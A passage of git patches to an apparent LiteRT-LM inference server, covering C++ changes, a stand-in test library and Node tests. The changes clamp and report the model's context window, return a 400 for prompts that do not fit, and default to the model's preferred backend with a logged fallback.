fb.vector([fb.table([fb.vector([fb.table(['tokens', fb.u32(0)]), fb.table(['mask', fb.u32(1)])]), undefined, 'prefill_32', undefined, fb.u32(0)])])])), +}) +Object.assign(kinds, { + ctx4096: [decoder, contextMetadata(4096)], + ctx8192: [decoder, contextMetadata(8192)], + dyn32k: [decoder, contextMetadata(32771)], + dyn251: [decoder, contextMetadata(251)], + 'ctx-prefill': [decoderWithMask(2048)], + 'ctx-prefill-8k': [decoderWithMask(8192)], + 'ctx4096-lfm2': [decoder, contextMetadata(4096, proto.field(6, proto.field(LFM2, [])))], +}) + +test('a context larger than the model takes is cut to the model\'s, logged and reported, never silently', { skip, timeout: 60_000 }, async () => { + const fixed = readable('ctx4096') + const window = async (ref) => { + let reply + const log = await callsDuring(async () => { + reply = await chat(fake, { model: ref, messages: hello }) + assert.equal(reply.status, 200, reply.error) + }) + const set = log.filter((c) => c.call === 'engine_settings_set_max_num_tokens').map((c) => c.max_num_tokens) + const entry = await modelsEntry(fake) + return { + set, + header: reply.headers.get('x-context-window'), + asked: reply.headers.get('x-context-window-requested'), + max_model_len: entry.max_model_len, + max_model_len_requested: entry.max_model_len_requested, + } + } + assert.deepEqual(await window(`${fixed},cpu,8192`), { set: [4096], header: '4096', asked: '8192', max_model_len: 4096, max_model_len_requested: 8192 }) + assert.deepEqual(await window(`${fixed},cpu,2048`), { set: [2048], header: '2048', asked: null, max_model_len: 2048, max_model_len_requested: undefined }) + assert.deepEqual(await window(`${fixed},cpu`), { set: [], header: '4096', asked: null, max_model_len: 4096, max_model_len_requested: undefined }) + // A dynamic context (a magic number, 32771) is made for the size asked when it is less, and for LiteRT-LM's default + // for it otherwise, the largest multiple of 256 below it (32768), with none asked too; below 256, a power of two. + const dynamic = readable('dyn32k') + assert.deepEqual(await window(`${dynamic},cpu,65536`), { set: [32768], header: '32768', asked: '65536', max_model_len: 32768, max_model_len_requested: 65536 }) + assert.deepEqual(await window(`${dynamic},cpu,32771`), { set: [32768], header: '32768', asked: '32771', max_model_len: 32768, max_model_len_requested: 32771 }) + assert.deepEqual(await window(`${dynamic},cpu,32770`), { set: [32770], header: '32770', asked: null, max_model_len: 32770, max_model_len_requested: undefined }) + assert.deepEqual(await window(`${dynamic},cpu`), { set: [], header: '32768', asked: null, max_model_len: 32768, max_model_len_requested: undefined }) + assert.equal((await window(`${readable('dyn251')},cpu`)).header, '128') + // With none asked, on GPU no more than 4096, as LiteRT-LM sets it there. + assert.deepEqual(await window(`${readable('ctx8192')},cpu`), { set: [], header: '8192', asked: null, max_model_len: 8192, max_model_len_requested: undefined }) + assert.deepEqual(await window(`${readable('ctx8192')},gpu`), { set: [], header: '4096', asked: null, max_model_len: 4096, max_model_len_requested: undefined }) + assert.equal((await window(`${readable('ctx8192')},gpu,8192`)).header, '8192') + assert.equal((await window(`${dynamic},gpu`)).header, '4096') + // From the prefill signature, for a file whose LlmMetadata gives none; with none asked, LiteRT-LM gives such a file + // 4096 at most. + assert.deepEqual(await window(`${readable('ctx-prefill')},cpu,8192`), { set: [2048], header: '2048', asked: '8192', max_model_len: 2048, max_model_len_requested: 8192 }) + assert.equal((await window(`${readable('ctx-prefill')},cpu`)).header, '2048') + assert.equal((await window(`${readable('ctx-prefill-8k')},cpu`)).header, '4096') + assert.equal((await window(`${readable('ctx-prefill-8k')},cpu,8192`)).header, '8192') + // A model that gets a new engine for each conversation (an LFM2 one) is told about once, not once per engine. + for (let i = 0; i < 3; i++) assert.equal((await window(`${readable('ctx4096-lfm2')},cpu,8192`)).header, '4096') + const lines = await logged(fake) + assert.ok(lines.includes('max_num_tokens 8192 is more than ctx4096.litertlm takes (its fixed context is 4096 tokens); its context window is 4096'), fake.stderr) + assert.ok(lines.includes('max_num_tokens 65536 is more than dyn32k.litertlm takes (its dynamic context takes fewer than 32771 tokens); its context window is 32768'), fake.stderr) + assert.equal(lines.filter((l) => l.startsWith('max_num_tokens 8192 is more than ctx4096-lfm2.litertlm takes')).length, 1, fake.stderr) + // A stream says it in its headers too. + const streamed = await chat(fake, { model: `${fixed},cpu,8192`, messages: hello, stream: true }) + assert.equal(streamed.headers.get('x-context-window'), '4096') + assert.equal(streamed.headers.get('x-context-window-requested'), '8192') +}) + +test('a prompt that does not fit the context window is a 400 that says the window', { skip, timeout: 60_000 }, async () => { + const reply = await chat(fake, { model: `${readable('ctx4096')},cpu`, messages: [{ role: 'user', content: 'too long' }] }) + assert.deepEqual(reply, { status: 400, error: "Invalid messages: the prompt does not fit the model's context window of 4096 tokens " + + '(INVALID_ARGUMENT: Input token ids are too long. Exceeding the maximum number of tokens allowed: 4209 >= 4096)' }) +}) + +for (const path of realModels.length ? realModels : ['']) { + test(`a real model's context window is its own when more is asked, and a reply that fills it ends with "length": ${path}`, { skip: skipReal, timeout: 900_000 }, async () => { + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + // Ask for 64k, more than the static files here take, and a reply long enough to fill what they do. + const numbers = Array.from({ length: 700 }, (_, i) => i + 1).join(', ') + const reply = await chat(server, { model: `${path},cpu,65536`, messages: [{ role: 'user', content: `Continue this list forever: ${numbers}` }], max_completion_tokens: 60000, temperature: 0, reasoning_effort: 'none' }, 600_000) + assert.equal(reply.status, 200, reply.error) + const window = Number(reply.headers.get('x-context-window')) + assert.ok(window > 0 && window < 65536, `window ${window}`) + assert.equal(reply.headers.get('x-context-window-requested'), '65536') + const entry = await modelsEntry(server) + assert.equal(entry.max_model_len, window) + assert.equal(entry.max_model_len_requested, 65536) + // A reply cut off by the window reads "length" (a model that stops on its own first reads "stop"). + assert.ok(!(reply.finish === 'stop' && reply.usage.total_tokens >= window), `${reply.usage.total_tokens} tokens of ${window}, "stop"`) + const long = Array.from({ length: window + 100 }, () => 'word').join(' ') + const tooLong = await chat(server, { model: `${path},cpu,65536`, messages: [{ role: 'user', content: long }], max_completion_tokens: 8 }, 300_000) + assert.equal(tooLong.status, 400, tooLong.error) + assert.match(tooLong.error, new RegExp(`^Invalid messages: the prompt does not fit the model's context window of ${window} tokens`)) + } finally { + stopServer(server) + } + }) +} diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 1bd6d1a..802c96b 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -24,7 +24,7 @@ // benchmark counters, so speed is measured rather than derived from time-to-first-token. // - Thinking-channel text streamed as `reasoning_content` instead of being dropped. // - "length" as the finish reason when the reply is cut off: by max_completion_tokens, or by the -// context window when the model reference or the config sets its size (max_num_tokens). +// context window LiteRT-LM gives the engine, which each reply's X-Context-Window header names. // - A client that disconnects cancels its generation instead of letting it run on. // - Requests are served concurrently; only inference itself is serialized (the engine is one // shared resource, exactly as in the Python server, which serialized everything). @@ -314,6 +314,11 @@ struct ModelFileInfo { // whether it has a channel, the thinking one being the first (Conversation::CreateDecodeConfig). std::optional supports_thinking; bool thinking_switch = false, channel = false; + // The context the file takes, as the C API's litert_lm_loaded_file_max_context_tokens and _is_dynamic_context read + // it: a static model's fixed size, or a dynamic one's magic number (see RuntimeWindow); 0 when unknown. And + // LlmMetadata's own max_num_tokens, which the runtime starts from when it is not given one: 0 when it has none. + int max_context = 0, metadata_context = 0; + bool dynamic_context = false; }; // Bounds-checked reads of a FlatBuffer of `size` bytes, through `read`: just what the server needs of the header's @@ -458,6 +463,22 @@ void ReadSampler(const std::string& llm_metadata, ModelFileInfo& info) { }); } +// LlmMetadata's max_num_tokens (field 5): the model's context, which a prime number above 10 marks as dynamic, as +// LiteRT-LM reads it (IsMagicNumber in schema/model_info/model_info.cc). +void ReadContext(const std::string& llm_metadata, ModelFileInfo& info) { + ForEachProtoField(llm_metadata, [&](int field, uint64_t v, const std::string&) { + if (field == 5) info.max_context = info.metadata_context = static_cast(std::min(v, INT32_MAX)); + }); +} + +bool IsMagicNumber(int64_t n) { + if (n < 11 || n % 2 == 0) return false; + for (int64_t i = 3; i * i <= n; i += 2) { + if (n % i == 0) return false; + } + return true; +} + void ReadThinking(const std::string& llm_metadata, ModelFileInfo& info) { ForEachProtoField(llm_metadata, [&](int field, uint64_t v, const std::string& bytes) { if (field == 11) info.supports_thinking = v != 0; @@ -470,7 +491,9 @@ void ReadThinking(const std::string& llm_metadata, ModelFileInfo& info) { // SignatureDef inputs 0, outputs 1, signature_key 2, subgraph_index 4; TensorMap name 0, tensor_index 1; SubGraph // tensors 0; Tensor shape 0), read through `m` where it lies in the file, a few tables of it and never the whole: the // number of logits the decode signature outputs (the last dimension of its "logits", which is what the runtime sizes -// its sampler by: GetVocabSize in llm_litert_compiled_model_executor.cc). +// its sampler by: GetVocabSize in llm_litert_compiled_model_executor.cc); and, for a file whose LlmMetadata gives no +// max_num_tokens, the context: the last dimension of the first mask input of the first prefill signature that has one +// (ExtractContextTokensFromTfliteBuffer in schema/model_info/model_info.cc, which the C API reads it with). void ReadTflite(const FbReader& m, ModelFileInfo& info) { const uint64_t model = m.Get(0).value_or(0); // the root table's uoffset, from 0 const uint64_t subgraphs = m.Follow(m.Field(model, 2)), signatures = m.Follow(m.Field(model, 7)); @@ -485,9 +508,20 @@ void ReadTflite(const FbReader& m, ModelFileInfo& info) { const uint32_t rank = m.Length(shape); return rank ? m.Get(shape + 4 + 4ull * (rank - 1)).value_or(0) : 0; }; + const bool want_context = info.max_context == 0; for (uint32_t k = 0; k < m.Length(signatures) && k < 256; ++k) { const uint64_t signature = m.Follow(signatures + 4 + 4ull * k); - if (!signature || m.String(m.Field(signature, 2)) != "decode") continue; + const std::string key = signature ? m.String(m.Field(signature, 2)) : ""; + if (want_context && info.max_context == 0 && key.rfind("prefill", 0) == 0) { + const uint64_t inputs = m.Follow(m.Field(signature, 0)); + for (uint32_t j = 0; j < m.Length(inputs) && j < 4096 && info.max_context == 0; ++j) { + const uint64_t input = m.Follow(inputs + 4 + 4ull * j); + if (input && m.String(m.Field(input, 0)).find("mask") != std::string::npos) { + info.max_context = std::max(0, last_dimension(signature, input)); + } + } + } + if (key != "decode") continue; const uint64_t outputs = m.Follow(m.Field(signature, 1)); for (uint32_t j = 0; j < m.Length(outputs) && j < 4096; ++j) { const uint64_t output = m.Follow(outputs + 4 + 4ull * j); @@ -586,6 +620,7 @@ ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { if (type == 5) { ReadSampler(proto, info); ReadThinking(proto, info); + ReadContext(proto, info); } } if (main_end > main_begin) { @@ -597,6 +632,7 @@ ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { main_end - main_begin}; ReadTflite(model, info); } + info.dynamic_context = IsMagicNumber(info.max_context); if (vision) info.vision_backends = ConstraintBackends(*vision); if (audio) info.audio_backends = ConstraintBackends(*audio); return info; @@ -662,6 +698,8 @@ struct EngineHolder { bool tools_unconstrained = false; // What the model file says about itself (ModelFileInfo), as it was when this engine was created. ModelFileInfo info; + // The context window this engine has, in tokens (-1: unknown), and the larger one that was asked for, if any. + int window = -1, window_asked = -1; // The model's decoder keeps a recurrent state (info.recurrent_state), and a message has been sent on this engine // since it was created, so that state is no longer the initial one. bool state_used = false; @@ -740,6 +778,31 @@ struct InputNeeds { bool image = false, audio = false; }; +// The context window LiteRT-LM 0.18.0 gives an engine of this model on `backend` when `asked` tokens are asked for +// (0 or less: none), worked out as it does, so that the window the server reports and judges "length" by is the +// engine's; 0 when the file does not say. With none asked, the runtime takes LlmMetadata's max_num_tokens, or 4096 +// for a file without one, and on GPU no more than 4096 (EngineSettings::MaybeUpdateAndValidate, engine_settings.cc; +// an Artisan decoder runs as GPU_ARTISAN, which that cap leaves out). A static model's window is then cut to the +// model's own (ClampMaxNumTokens, llm_litert_compiled_model_executor.cc). A dynamic one, whose context is a magic +// number M, is made for that many tokens when they are fewer than M, and otherwise for LiteRT-LM's default for M: the +// largest multiple of 256 below it, or below 256 the largest power of two (GetTargetNumber and GetDefaultTargetNumber, +// magic_number_configs_helper.cc). So M itself, which the server reported, is never what such a model gets. +int RuntimeWindow(const ModelFileInfo& info, int asked, const std::string& backend) { + if (info.max_context <= 0) return std::max(asked, 0); + int n = asked; + if (n <= 0) { + n = info.metadata_context > 0 ? info.metadata_context : 4096; + if (backend == "gpu" && !info.artisan && n > 4096) n = 4096; + } + if (!info.dynamic_context) return std::min(n, info.max_context); + const int m = info.max_context; + if (n < m) return n; + if (m > 256) return m / 256 * 256; + int t = 256; + while (t > m) t /= 2; + return t; +} + // Caller holds g_engine_mu. LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc, const InputNeeds& needs) { EngineKey key; @@ -808,7 +871,26 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc, co L.litert_lm_engine_settings_enable_benchmark(s); L.litert_lm_engine_settings_set_use_ringbuffers_local_attention(s, true); if (key.backend == "cpu" && key.threads > 0) L.litert_lm_engine_settings_set_num_threads(s, key.threads); - if (key.max_num_tokens > 0) L.litert_lm_engine_settings_set_max_num_tokens(s, key.max_num_tokens); + // A context larger than the model takes was cut to the model's by the runtime with only a WARNING in its log + // ("Passed in max_num_tokens (8192) is larger than what the static model supports (4096). Using model limit.", + // ClampMaxNumTokens in llm_litert_compiled_model_executor.cc), so nobody was told, and "length" was judged against + // the size asked for: a reply cut off at the model's 4096 read "stop". Now the server gives the model its own + // limit, says so in the log, and reports both on /v1/models and in each reply's headers. With no size asked for, + // the window is the one the runtime picks (RuntimeWindow). + int window = key.max_num_tokens > 0 ? RuntimeWindow(info, key.max_num_tokens, key.backend) : -1, window_asked = -1; + if (window > 0 && window < key.max_num_tokens) { + window_asked = key.max_num_tokens; + // Once per model and size: a model that gets a new engine for each conversation (LFM2) would log it every time. + static std::set told; + if (told.insert(ref.path + "," + std::to_string(window_asked)).second) { + Log("max_num_tokens " + std::to_string(window_asked) + " is more than " + ref.id + " takes (" + + (info.dynamic_context ? "its dynamic context takes fewer than " + std::to_string(info.max_context) + : "its fixed context is " + std::to_string(info.max_context)) + + " tokens); its context window is " + std::to_string(window)); + } + } + if (window > 0) L.litert_lm_engine_settings_set_max_num_tokens(s, window); + if (window <= 0) window = RuntimeWindow(info, -1, key.backend); L.litert_lm_engine_settings_set_cache_dir(s, key.cache.c_str()); if (key.spec >= 0) L.litert_lm_engine_settings_set_enable_speculative_decoding(s, key.spec == 1); if (key.backend == "gpu" && key.gpu_steps > 0) L.litert_lm_engine_settings_set_gpu_decode_steps_per_sync(s, key.gpu_steps); @@ -825,6 +907,8 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc, co // The same model and settings again: what was found out about the model still holds. if (!fresh_state) g_engine.tools_unconstrained = false; g_engine.info = info; + g_engine.window = window > 0 ? window : -1; + g_engine.window_asked = window_asked; g_engine.state_used = false; g_engine.init_seconds = std::chrono::duration(std::chrono::steady_clock::now() - t0).count(); Log("Engine ready in " + std::to_string(g_engine.init_seconds) + " s"); @@ -1981,9 +2065,13 @@ void HandleChatCompletions(int fd, const Request& req) { throw HttpError(500, "RuntimeError: litert_lm_conversation_send_message_stream failed" + (why.empty() ? "" : ": " + why)); } + // The context window the reply was made in, and the larger one asked for, if any, for the daemon to show. + std::string window_headers; + if (g_engine.window > 0) window_headers += "X-Context-Window: " + std::to_string(g_engine.window) + "\r\n"; + if (g_engine.window_asked > 0) window_headers += "X-Context-Window-Requested: " + std::to_string(g_engine.window_asked) + "\r\n"; if (stream) { std::string head = "HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nCache-Control: no-cache\r\nConnection: close\r\n" + - note_headers + CorsHeaders(req) + "\r\n"; + note_headers + window_headers + CorsHeaders(req) + "\r\n"; headers_sent = true; SendAll(fd, head + Sse(make_chunk(json::array({{{"index", 0}, {"delta", {{"role", "assistant"}}}, {"finish_reason", nullptr}}})))); } @@ -1995,6 +2083,7 @@ void HandleChatCompletions(int fd, const Request& req) { std::optional error; bool client_gone = false; bool cancelled = false; + bool prompt_too_long = false; // The stop strings apply to the reply's text only, as OpenAI's do, not to its thinking or its tool calls. Text that // could be the start of one is held back until the next chunk tells; at a stop string the reply ends before it, // never showing it, and the generation is cancelled, which the loop below then takes as the quiet end it is. @@ -2080,6 +2169,12 @@ void HandleChatCompletions(int fd, const Request& req) { // output, which may contain these words. if (item.text.rfind("CANCELLED:", 0) == 0) { // a cancelled turn ends quietly, as in the Python client + } else if (item.text.rfind("INVALID_ARGUMENT: Input token ids are too long", 0) == 0) { + // The prompt alone does not fit the context window: the request's mistake, said with the window's size. + prompt_too_long = true; + error = "the prompt does not fit the model's context window" + + (g_engine.window > 0 ? " of " + std::to_string(g_engine.window) + " tokens" : std::string()) + " (" + + item.text + ")"; } else if (item.text.rfind("RESOURCE_EXHAUSTED: Max number of tokens reached", 0) == 0) { // A full context window, from a runtime that reports it as an error. LiteRT-LM 0.18.0's C API never does // (see the token-count check below). @@ -2147,9 +2242,9 @@ void HandleChatCompletions(int fd, const Request& req) { // only with return_error_on_max_tokens_reached, which defaults to off and which LiteRT-LM 0.18.0's C API has no // way to turn on. So it is told from the counts. The runtime stops once the KV cache holds max_num_tokens, and // this request's conversation is new, so its cache holds just this prompt (earlier messages included) and the - // reply. Only a limit this server set is known: a bundle whose own cache is smaller caps the window lower, and - // a reply cut off there still reads "stop". - const int window = g_engine.key.max_num_tokens; + // reply. The window is the engine's own, the one LiteRT-LM gives it (RuntimeWindow): the model's size when it is + // smaller than what was asked, and what the runtime picks when nothing was asked. + const int window = g_engine.window; if (finish == "stop" && !stopped && window > 0 && usage["total_tokens"].get() >= window) finish = "length"; } @@ -2175,6 +2270,7 @@ void HandleChatCompletions(int fd, const Request& req) { return; } + if (error && prompt_too_long) throw HttpError(400, "Invalid messages: " + *error); if (error) throw HttpError(500, "RuntimeError: " + *error); json message = {{"role", "assistant"}, {"content", text_all.empty() ? json(nullptr) : json(text_all)}}; if (!reasoning_all.empty()) message["reasoning_content"] = reasoning_all; @@ -2186,7 +2282,7 @@ void HandleChatCompletions(int fd, const Request& req) { {"choices", json::array({{{"index", 0}, {"message", message}, {"finish_reason", finish}}})}, {"usage", usage}, {"timings", timings}}; - SendJson(fd, req, 200, resp, note_headers); + SendJson(fd, req, 200, resp, note_headers + window_headers); } catch (const HttpError& e) { Log("request failed: " + std::string(e.what())); if (!headers_sent) SendError(fd, req, e.status, e.what()); @@ -2204,7 +2300,11 @@ void HandleModels(int fd, const Request& req) { if (g_engine.engine) { struct stat st {}; long long mtime = ::stat(g_engine.key.path.c_str(), &st) == 0 ? static_cast(st.st_mtime) : 0; - data.push_back({{"id", g_engine.key.path}, {"object", "model"}, {"created", mtime}, {"owned_by", "litert-lm"}}); + json entry = {{"id", g_engine.key.path}, {"object", "model"}, {"created", mtime}, {"owned_by", "litert-lm"}}; + // The loaded model's context window (vLLM's name for it), and the larger one that was asked for, if any. + if (g_engine.window > 0) entry["max_model_len"] = g_engine.window; + if (g_engine.window_asked > 0) entry["max_model_len_requested"] = g_engine.window_asked; + data.push_back(entry); } SendJson(fd, req, 200, {{"object", "list"}, {"data", data}}); } diff --git a/engines/litert-lm-server/testdata/fake_litert_lm.cc b/engines/litert-lm-server/testdata/fake_litert_lm.cc index 7a87159..ddd3d47 100644 --- a/engines/litert-lm-server/testdata/fake_litert_lm.cc +++ b/engines/litert-lm-server/testdata/fake_litert_lm.cc @@ -16,7 +16,8 @@ // A conversation answers with one chunk of text that says how it was created and sent, for example // "constrained=1 tools=1 provider=0 constraint=0 creates=3", where creates counts every litert_lm_conversation_create // call in the process; a message whose text starts with "say:" is answered with the rest of its text instead, three -// bytes to a chunk, as a model streams. A regex that does not compile fails the send as llguidance does +// bytes to a chunk, as a model streams, and one whose text is "too long" fails as a prompt longer than the context +// window does. A regex that does not compile fails the send as llguidance does // (llg_constraint_provider.cc:155-160). // // With FAKE_LITERT_LM_CALLS set to a file, the calls that say what the server asked the runtime for are appended to it, @@ -104,6 +105,9 @@ LiteRtLmEngineSettings* litert_lm_engine_settings_create(const char* model_path, {"vision_backend", name(vision_backend)}, {"audio_backend", name(audio_backend)}}); return new LiteRtLmEngineSettings{Basename(model_path)}; } +void litert_lm_engine_settings_set_max_num_tokens(LiteRtLmEngineSettings* s, int n) { + Record({{"call", "engine_settings_set_max_num_tokens"}, {"model", s->model}, {"max_num_tokens", n}}); +} void litert_lm_engine_settings_delete(LiteRtLmEngineSettings* s) { delete s; } LiteRtLmEngine* litert_lm_engine_create(const LiteRtLmEngineSettings* s) { Record({{"call", "engine_create"}, {"model", s->model}}); @@ -231,6 +235,13 @@ int litert_lm_conversation_send_message_stream(LiteRtLmConversation* conv, const if (content.is_string()) said = content.get(); if (content.is_array() && !content.empty() && content[0].is_object()) said = content[0].value("text", ""); } + if (said == "too long") { + LiteRtLmStreamChunk failed{"", "INVALID_ARGUMENT: Input token ids are too long. Exceeding the maximum number of " + "tokens allowed: 4209 >= 4096", + true}; + callback(data, &failed); + return 0; + } std::vector chunks = {text}; if (said.rfind("say:", 0) == 0) { chunks.clear(); From 93b3f700cca165839e7f89740b2a8e9344436076 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 20:25:18 +0000 Subject: [PATCH 76/80] fix(litert-lm-server): with no backend set, the model's own is used With no backend in the model reference or the config, the server always picked CPU, whatever the model prefers. `litert-lm serve` follows the model (model.model_default_backend: an Artisan text decoder means gpu, else the decoder section's first backend_constraint, else cpu), and the C API lists the same order (litert_lm_loaded_file_modality _supported_backends: a GPU-only bundle lists gpu alone, one with no constraint [cpu, gpu]). So a GPU-only bundle (litert-community's gemma-4-E2B-it-gpu.litertlm has an Artisan decoder constrained to gpu_artisan) sent without a backend was loaded on CPU and failed ("Main backend constraint mismatch", engine_settings.cc). TurboLLM writes a backend for every model today, so this matters once its Backend "Auto" leaves the choice to the model (a TurboLLM change made alongside), and for any client that sends no backend. Older bug: origin/main has it (`... : "cpu"` for a request without a backend). - engines/litert-lm-server/src/main.cc: with no backend in the model reference or the config, the engine is created on the first backend the model's header lists for its text, as the C API lists them (the decoder section's backend_constraint, cpu then gpu when it has none, npu after them for a file with an NPU auxiliary model), except that an Artisan text decoder puts gpu first, as `litert-lm serve` picks it; read once per version of the file with the rest of ModelFileInfo, CPU when the file cannot be read; and the server logs a backend other than CPU ("Using 's own backend: gpu"), as `litert-lm serve` does. When that backend, if it is not CPU, does not start, the engine is created on the next backend the model lists, and only on one it lists (a GPU-only bundle is never tried on CPU, which cannot run it, and whose reason would hide the GPU's), and the server logs why ("'s own backend, gpu, did not start (); falling back to cpu"); when none starts, the 500 gives each one's reason ("on gpu: ...; on cpu: ..."); the engine's key keeps the model's choice, so later requests use that engine without trying the GPU again until another engine is loaded; a model that gets a new engine for each conversation (LFM2) gets it on the backend its last one ran on. A backend the request or the config sets is used as set and fails as before. The sampler's top_k limit, and the context window when no size is asked (no more than 4096 on GPU), follow the backend the engine runs on. - BUILDING-ENGINES.md: says so under "What the server is". Behaviour change: a request without a backend loads a model on the backend its file prefers: CPU for files without a backend constraint (LFM2.5-230M, gemma-3-270m-it, Qwen3-0.6B: unchanged), GPU for a GPU-only bundle or an Artisan decoder, falling back to the next backend the model lists, CPU for most, when that fails to start. Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library, which now logs the backend of each engine it creates and cannot create one on gpu for a model named gpu-broken, or on any backend for one named no-engine, on stand-in files whose decoder sections have backend constraints: "with no backend set, the model's own is used, and one that does not start falls back to the next it lists, logged" (cpu first, gpu first, gpu alone, npu first, an Artisan decoder, an unreadable header, a GPU that does not start for a model that lists CPU and for one that does not, no backend that starts, the context window with no size asked for an 8192-token model that falls back to CPU (8192) and for one that runs on GPU (4096), and an LFM2 header whose later conversations go straight to CPU). With main.cc as it was it fails (cpu for a model that prefers gpu); it fails too with the fallback to CPU whatever the model lists (a GPU-only bundle tried on CPU), and with the window worked out for the backend the model lists first instead of the one that started (4096 for the model that fell back to CPU). No existing test changed. Not run on a device: a GPU-only bundle loading on a phone's GPU with no backend set, and the fallback after a GPU that fails to start there. --- BUILDING-ENGINES.md | 9 ++ .../litert-lm-server/model-settings.test.mjs | 64 +++++++++ engines/litert-lm-server/src/main.cc | 126 +++++++++++++----- .../testdata/fake_litert_lm.cc | 16 ++- 4 files changed, 175 insertions(+), 40 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 1fd64f4..91871f7 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -451,6 +451,15 @@ default for it, the largest multiple of 256 below it (below 256, the largest pow with none asked. A prompt that does not fit the window is a 400 that names its size; in a stream, already answered 200, it is the `response.error` event, with the same words. +**With no backend in the model reference or the config, the model's own is used**: the first its +header lists for its text (a GPU-only bundle, Gemma 4's `-gpu` one among them, lists gpu alone; a +file without a backend constraint, LFM2.5-230M for one, lists cpu first; an Artisan text decoder +puts gpu first), as `litert-lm serve` picks it. The server picked CPU for every model, so a +GPU-only bundle sent without a backend failed to load. When the model's own backend does not +start, the engine falls back to the next one the model lists, CPU for most, and never to one it +does not list, and the server logs why; when none starts, the error gives each one's reason. A +backend the user set is used as set, failing as before. + **The library is loaded with `dlopen(RTLD_LOCAL)`, not linked**, and the server's own C++ runtime is static and unexported. `liblitert-lm.so` carries its own statically linked C++ runtime and *exports* it; when the server was linked against the library, the linker diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index 444b919..96e8804 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -908,3 +908,67 @@ for (const path of realModels.length ? realModels : ['']) { } }) } + +Object.assign(kinds, { + 'plain-backend': [decoder], + 'gpu-first': [tflite('tf_lite_prefill_decode', 'gpu,cpu')], + 'gpu-only': [tflite('tf_lite_prefill_decode', 'gpu')], + 'npu-first': [tflite('tf_lite_prefill_decode', 'npu,cpu')], + // An Artisan text decoder without a constraint: GPU first, as `litert-lm serve` picks it. + 'artisan-backend': [tflite('tf_lite_artisan_text_decoder')], + // The stand-in cannot create an engine on gpu for these (gpu-broken), or on any backend (no-engine). + 'gpu-broken': [decoderWith(32000, 'tf_lite_prefill_decode', 'gpu,cpu')], + 'gpu-broken-only': [tflite('tf_lite_prefill_decode', 'gpu_artisan')], + 'no-engine': [tflite('tf_lite_prefill_decode', 'gpu,cpu')], + // With an 8192-token context, which LiteRT-LM gives in full on CPU and no more than 4096 of on GPU. + 'gpu-first-ctx8192': [tflite('tf_lite_prefill_decode', 'gpu,cpu'), contextMetadata(8192)], + 'gpu-broken-ctx8192': [tflite('tf_lite_prefill_decode', 'gpu,cpu'), contextMetadata(8192)], +}) + +test('with no backend set, the model\'s own is used, and one that does not start falls back to the next it lists, logged', { skip, timeout: 60_000 }, async () => { + const engines = async (ref) => { + let reply + const log = await callsDuring(async () => { reply = await chat(fake, { model: ref, messages: hello }) }) + return { status: reply.status, error: reply.error, created: log.filter((c) => c.call === 'engine_create').map((c) => c.backend) } + } + assert.deepEqual(await engines(readable('plain-backend')), { status: 200, error: undefined, created: ['cpu'] }) + assert.deepEqual(await engines(readable('gpu-first')), { status: 200, error: undefined, created: ['gpu'] }) + assert.deepEqual(await engines(readable('gpu-only')), { status: 200, error: undefined, created: ['gpu'] }) + assert.deepEqual(await engines(readable('npu-first')), { status: 200, error: undefined, created: ['npu'] }) + assert.deepEqual(await engines(readable('artisan-backend')), { status: 200, error: undefined, created: ['gpu'] }) + assert.deepEqual(await engines(unreadable('unreadable-backend')), { status: 200, error: undefined, created: ['cpu'] }) + // The model's own backend does not start: the next it lists, once; the next request keeps that engine. + assert.deepEqual(await engines(readable('gpu-broken')), { status: 200, error: undefined, created: ['gpu', 'cpu'] }) + assert.deepEqual(await engines(readable('gpu-broken')), { status: 200, error: undefined, created: [] }) + // Only to one it lists: a GPU-only bundle is not tried on CPU, and the error is the GPU's. + const path = (name) => join(work, `${name}.litertlm`) + assert.deepEqual(await engines(readable('gpu-broken-only')), { status: 500, created: ['gpu'], + error: `Failed to load engine: RuntimeError('Failed to create LiteRT-LM engine for ${path('gpu-broken-only')}: UNAVAILABLE: no usable OpenCL device')` }) + // When none starts, each one's reason. + assert.deepEqual(await engines(readable('no-engine')), { status: 500, created: ['gpu', 'cpu'], + error: `Failed to load engine: RuntimeError('on gpu: Failed to create LiteRT-LM engine for ${path('no-engine')}: INTERNAL: cannot load the model on gpu; ` + + `on cpu: Failed to create LiteRT-LM engine for ${path('no-engine')}: INTERNAL: cannot load the model on cpu')` }) + // A backend the request or the config sets is used as set, and not replaced when it fails. + assert.deepEqual(await engines(`${readable('gpu-first')},cpu`), { status: 200, error: undefined, created: ['cpu'] }) + const failed = await engines(`${readable('gpu-broken')},gpu`) + assert.deepEqual(failed, { status: 500, error: `Failed to load engine: RuntimeError('Failed to create LiteRT-LM engine for ${path('gpu-broken')}: UNAVAILABLE: no usable OpenCL device')`, created: ['gpu'] }) + const lines = await logged(fake) + assert.ok(lines.includes("Using gpu-first.litertlm's own backend: gpu"), fake.stderr) + assert.ok(lines.includes("gpu-broken.litertlm's own backend, gpu, did not start (Failed to create LiteRT-LM engine for " + + `${path('gpu-broken')}: UNAVAILABLE: no usable OpenCL device); falling back to cpu`), fake.stderr) + // The sampler follows the backend the engine runs on: CPU's no-limit top_k, not the GPU's (the vocabulary). + assert.equal((await samplerFor(fake, { model: readable('gpu-broken'), messages: hello, top_k: 0 })).top_k, NO_LIMIT) + // So does the context window with no size asked: the CPU's 8192 for a model that fell back to it, not the GPU's 4096. + const 